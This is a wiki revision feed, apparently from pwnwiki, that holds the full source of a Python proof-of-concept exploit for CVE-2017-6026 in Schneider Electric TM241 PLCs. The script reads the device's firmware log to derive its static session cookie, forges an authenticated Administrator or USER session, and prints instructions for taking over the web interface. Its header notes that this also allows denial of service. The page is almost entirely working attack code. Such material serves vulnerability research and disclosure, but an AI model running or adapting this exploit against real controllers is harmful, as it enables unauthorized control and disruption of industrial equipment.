<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-6026_Schneider_Electric_PLC_%E6%9C%83%E8%A9%B1%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2017-6026 Schneider Electric PLC 會話認證繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2017-6026_Schneider_Electric_PLC_%E6%9C%83%E8%A9%B1%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-6026_Schneider_Electric_PLC_%E6%9C%83%E8%A9%B1%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-20T09:26:19Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2017-6026_Schneider_Electric_PLC_%E6%9C%83%E8%A9%B1%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=671&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==POC== &lt;pre&gt; #! /usr/bin/env python '''     Copyright 2018 Photubias(c)     # Exploit Title: Schneider Session Calculation - CVE-2017-6026     # Date: 2018-09-30     # Exploi...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2017-6026_Schneider_Electric_PLC_%E6%9C%83%E8%A9%B1%E8%AA%8D%E8%AD%89%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=671&amp;oldid=prev"/>
		<updated>2021-03-27T02:30:11Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==POC== &amp;lt;pre&amp;gt; #! /usr/bin/env python &amp;#039;&amp;#039;&amp;#039;     Copyright 2018 Photubias(c)     # Exploit Title: Schneider Session Calculation - CVE-2017-6026     # Date: 2018-09-30     # Exploi...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#! /usr/bin/env python&lt;br /&gt;
'''&lt;br /&gt;
    Copyright 2018 Photubias(c)&lt;br /&gt;
    # Exploit Title: Schneider Session Calculation - CVE-2017-6026&lt;br /&gt;
    # Date: 2018-09-30&lt;br /&gt;
    # Exploit Author: Deneut Tijl&lt;br /&gt;
    # Vendor Homepage: www.schneider-electric.com&lt;br /&gt;
    # Software Link: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/&lt;br /&gt;
    # Version: Schneider Electric PLC 4.0.2.11 &amp;amp; Boot v0.0.2.11&lt;br /&gt;
    # CVE : CVE-2017-6026&lt;br /&gt;
 &lt;br /&gt;
        This program is free software: you can redistribute it and/or modify&lt;br /&gt;
        it under the terms of the GNU General Public License as published by&lt;br /&gt;
        the Free Software Foundation, either version 3 of the License, or&lt;br /&gt;
        (at your option) any later version.&lt;br /&gt;
 &lt;br /&gt;
        This program is distributed in the hope that it will be useful,&lt;br /&gt;
        but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the&lt;br /&gt;
        GNU General Public License for more details.&lt;br /&gt;
 &lt;br /&gt;
        You should have received a copy of the GNU General Public License&lt;br /&gt;
        along with this program.  If not, see &amp;lt;http://www.gnu.org/licenses/&amp;gt;.&lt;br /&gt;
 &lt;br /&gt;
        File name CVE-2017-6026-SchneiderSessionCalculation.py&lt;br /&gt;
        written by tijl[dot]deneut[at]howest[dot]be&lt;br /&gt;
 &lt;br /&gt;
        Tested on the Schneider TM241 PLC with Firmware 4.0.2.11 &amp;amp; Boot 0.0.2.11.&lt;br /&gt;
        Firmware: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/&lt;br /&gt;
        Security Note: https://www.schneider-electric.com/en/download/document/SEVD-2017-075-02/&lt;br /&gt;
 &lt;br /&gt;
        This script will calculate the website session cookie, which is static after every reboot.&lt;br /&gt;
        (This cookie is actually the Epoch time at PLC startup)&lt;br /&gt;
        The only prerequisite is that, since the reboot, a user must have been logged in.&lt;br /&gt;
                E.g. Administrator (with default password 'admin')&lt;br /&gt;
                or   USER (with default password 'USER')&lt;br /&gt;
 &lt;br /&gt;
        After retrieving the cookie, various website actions are possible (including a DoS).&lt;br /&gt;
        Sample output:&lt;br /&gt;
        C:\Users\admin\Desktop&amp;gt;SchneiderGetSession.py&lt;br /&gt;
        Please enter an IP [10.10.36.224]:&lt;br /&gt;
        This device has booted 33 times&lt;br /&gt;
        Cookie: 1521612584 (22/03/2018 06:09:44.014)&lt;br /&gt;
        ----------------&lt;br /&gt;
        --- Device:      TM241CE40R&lt;br /&gt;
        --- MAC Address: 0080F40B24E0&lt;br /&gt;
        --- Firmware:    4.0.2.11&lt;br /&gt;
        --- Controller:  Running&lt;br /&gt;
        ----------------&lt;br /&gt;
        Press Enter to close&lt;br /&gt;
'''&lt;br /&gt;
import urllib2&lt;br /&gt;
 &lt;br /&gt;
strIP = raw_input('Please enter an IP [10.10.36.224]: ')&lt;br /&gt;
if strIP == '': strIP = '10.10.36.224'&lt;br /&gt;
FwLogURL = 'http://' + strIP + '/usr/Syslog/FwLog.txt'&lt;br /&gt;
try:&lt;br /&gt;
    FwLogResp = urllib2.urlopen(urllib2.Request(FwLogURL)).readlines()&lt;br /&gt;
    NumberOfPowerOns = 0&lt;br /&gt;
    for line in FwLogResp:&lt;br /&gt;
        if 'Firmware core2' in line:&lt;br /&gt;
            NumberOfPowerOns += 1&lt;br /&gt;
            CookieVal = line.split(' ')[1]&lt;br /&gt;
            BootupTime = line.split('(')[1].split(')')[0]&lt;br /&gt;
    NumberOfPowerOns /= 2&lt;br /&gt;
except:&lt;br /&gt;
    print('Error: URL not found.')&lt;br /&gt;
    raw_input('Press enter to exit')&lt;br /&gt;
    exit()&lt;br /&gt;
 &lt;br /&gt;
try:&lt;br /&gt;
    CookieVal&lt;br /&gt;
except:&lt;br /&gt;
    print('Error: ' + FwLogURL + ' does not contain the necessary data.')&lt;br /&gt;
    raw_input('Press Enter to Exit')&lt;br /&gt;
    exit()&lt;br /&gt;
 &lt;br /&gt;
print('This device has booted ' + str(NumberOfPowerOns) + ' times')&lt;br /&gt;
print('Cookie: ' + CookieVal + ' (' + BootupTime + ')')&lt;br /&gt;
print('----------------')&lt;br /&gt;
raw_input('Press enter to see if the cookie is set on the webserver.'+&amp;quot;\n&amp;quot;)&lt;br /&gt;
 &lt;br /&gt;
CtrlURL = 'http://' + strIP + '/plcExchange/getValues/'&lt;br /&gt;
CtrlPost = 'S;100;0;136;s;s;S;2;0;24;w;d;S;1;0;8;B;d;S;1;0;9;B;d;S;1;0;10;B;d;S;1;0;11;B;d;'&lt;br /&gt;
 &lt;br /&gt;
try:&lt;br /&gt;
    CtrlUser = 'Administrator'&lt;br /&gt;
    DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})&lt;br /&gt;
    DataResp = urllib2.urlopen(DataReq).read()&lt;br /&gt;
except:&lt;br /&gt;
    print('Failure for user \'Administrator\'')&lt;br /&gt;
    try:&lt;br /&gt;
        CtrlUser = 'USER'&lt;br /&gt;
        DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal})&lt;br /&gt;
        DataResp = urllib2.urlopen(DataReq).read()&lt;br /&gt;
    except:&lt;br /&gt;
        print('Failure for user \'USER\'')&lt;br /&gt;
        raw_input('Press enter to exit')&lt;br /&gt;
print('### SUCCESS (' + CtrlUser + ') ###')&lt;br /&gt;
print('--- Device:      ' + DataResp.split(' ')[0])&lt;br /&gt;
print('--- MAC Address: ' + DataResp.split(';')[0].split(' ')[1][1:])&lt;br /&gt;
print('--- Firmware:    ' + DataResp.split(';')[2] + '.' + DataResp.split(';')[3] + '.' +DataResp.split(';')[4] + '.' +DataResp.split(';')[5])&lt;br /&gt;
state = DataResp.split(';')[1]&lt;br /&gt;
if state == '2':&lt;br /&gt;
    print('--- Controller:  Running')&lt;br /&gt;
elif state == '1':&lt;br /&gt;
    print('--- Controller:  Stopped')&lt;br /&gt;
elif state == '0':&lt;br /&gt;
    print('--- Controller:  ERROR mode')&lt;br /&gt;
print('')&lt;br /&gt;
print('--- To exploit: Create cookie for domain &amp;quot;'+strIP+'&amp;quot;')&lt;br /&gt;
print('    with name &amp;quot;M258_LOG&amp;quot; and value &amp;quot;'+CtrlUser+':'+CookieVal+'&amp;quot;')&lt;br /&gt;
print('    and open &amp;quot;http://'+strIP+'/index2.htm&amp;quot;')&lt;br /&gt;
print('')&lt;br /&gt;
print('----------------')&lt;br /&gt;
 &lt;br /&gt;
raw_input('Press enter to close')&lt;br /&gt;
exit() &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>